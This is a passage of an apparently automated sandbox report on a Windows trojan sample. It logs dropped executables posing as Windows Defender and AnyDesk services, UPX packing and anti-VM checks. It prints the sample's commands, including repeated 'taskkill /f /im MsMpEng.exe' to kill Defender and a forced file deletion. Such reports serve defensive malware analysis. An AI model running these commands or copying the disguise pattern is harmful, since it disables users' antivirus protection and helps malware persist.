Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7894355 push rsi; ret	0_2_00007FF6C7894356
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1BAF45 push rsi; ret	5_2_00007FF76E1BAF46
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1BC572 push rax; retf	5_2_00007FF76E1BC581
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Code function: 7_2_00007FF7AA96784D push rcx; retf 003Fh	7_2_00007FF7AA96784E
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Code function: 7_2_00007FF7AA95CD54 pushfq ; retf 0000h	7_2_00007FF7AA95CD55
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDC4355 push rsi; ret	25_2_00007FF71DDC4356

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskUpdateService[1].exe	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskShellIntegration[1].dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Executable created and started: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Executable created and started: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows\System32\oobe\AnyDeskUpdateService.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\AnyDeskCrashHandler[1].exe	Jump to dropped file
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\AnyDeskShellIntegration_Update.dll	Jump to dropped file
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskUpdateService[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	File created: C:\Windows\System32\AnyDeskShellIntegration.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	File created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	File created: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Jump to dropped file
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskShellIntegration[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\MicrosoftWindowsDefenderCoreService[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\AnyDeskShellIntegration[1].dll	Jump to dropped file
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Jump to dropped file

Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\AnyDeskShellIntegration_Update.dll	Jump to dropped file
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskUpdateService[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	File created: C:\Windows\System32\AnyDeskShellIntegration.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	File created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	File created: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Jump to dropped file
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskShellIntegration[1].dll	Jump to dropped file
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

0_2_00007FF6C7852840

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Window / User API: threadDelayed 7823	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Window / User API: threadDelayed 2175	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Window / User API: threadDelayed 372
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Window / User API: threadDelayed 7704
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Window / User API: threadDelayed 2294

Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Dropped PE file which has not been started: C:\Windows\System32\AnyDeskShellIntegration_Update.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Dropped PE file which has not been started: C:\Windows\System32\AnyDeskShellIntegration.dll	Jump to dropped file
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Dropped PE file which has not been started: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskShellIntegration[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\AnyDeskShellIntegration[1].dll	Jump to dropped file

Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

API coverage: 9.4 %

Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe TID: 5064	Thread sleep time: -85000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe TID: 6564	Thread sleep time: -782300s >= -30000s	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe TID: 6564	Thread sleep time: -217500s >= -30000s	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe TID: 3704	Thread sleep count: 372 > 30
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe TID: 3704	Thread sleep time: -1116000s >= -30000s
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe TID: 2448	Thread sleep count: 7704 > 30
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe TID: 2448	Thread sleep time: -770400s >= -30000s
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe TID: 2448	Thread sleep count: 2294 > 30
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe TID: 2448	Thread sleep time: -229400s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Last function: Thread delayed
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C78832B4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6C78832B4
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1A9B94 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	5_2_00007FF76E1A9B94
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Code function: 7_2_00007FF7AA9590E0 FindFirstFileExW,	7_2_00007FF7AA9590E0
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDB32B4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	25_2_00007FF71DDB32B4

Source: MicrosoftWindowsDefenderCoreService.exe, 00000005.00000002.2168899269.000002466387E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATA_CD0
Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000002.2170001507.000002762097C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000002.2170001507.00000276209F6000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3386691306.000001F7B1727000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B179E000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B179E000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516905564.000001F7B179E000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2452617242.000001F7B179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Code function: 0_2_00007FF6C787478C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6C787478C

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Code function: 0_2_00007FF6C7887C50 GetProcessHeap,

0_2_00007FF6C7887C50

Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C787478C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6C787478C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C78685D4 SetUnhandledExceptionFilter,	0_2_00007FF6C78685D4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7868430 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6C7868430
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E19C0F8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF76E19C0F8
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E191484 SetUnhandledExceptionFilter,	5_2_00007FF76E191484
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1912E0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF76E1912E0
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Code function: 7_2_00007FF7AA952FB4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FF7AA952FB4
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Code function: 7_2_00007FF7AA953194 SetUnhandledExceptionFilter,	7_2_00007FF7AA953194
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Code function: 7_2_00007FF7AA956964 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FF7AA956964
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD985D4 SetUnhandledExceptionFilter,	25_2_00007FF71DD985D4
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDA478C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_00007FF71DDA478C
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDC0188 SetUnhandledExceptionFilter,	25_2_00007FF71DDC0188
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD98430 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_00007FF71DD98430

HIPS / PFW / Operating System Protection Evasion

Excessive usage of taskkill to terminate processes

Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe

Uses taskkill to terminate AV processes

Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Process created: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe "C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe" install	Jump to behavior
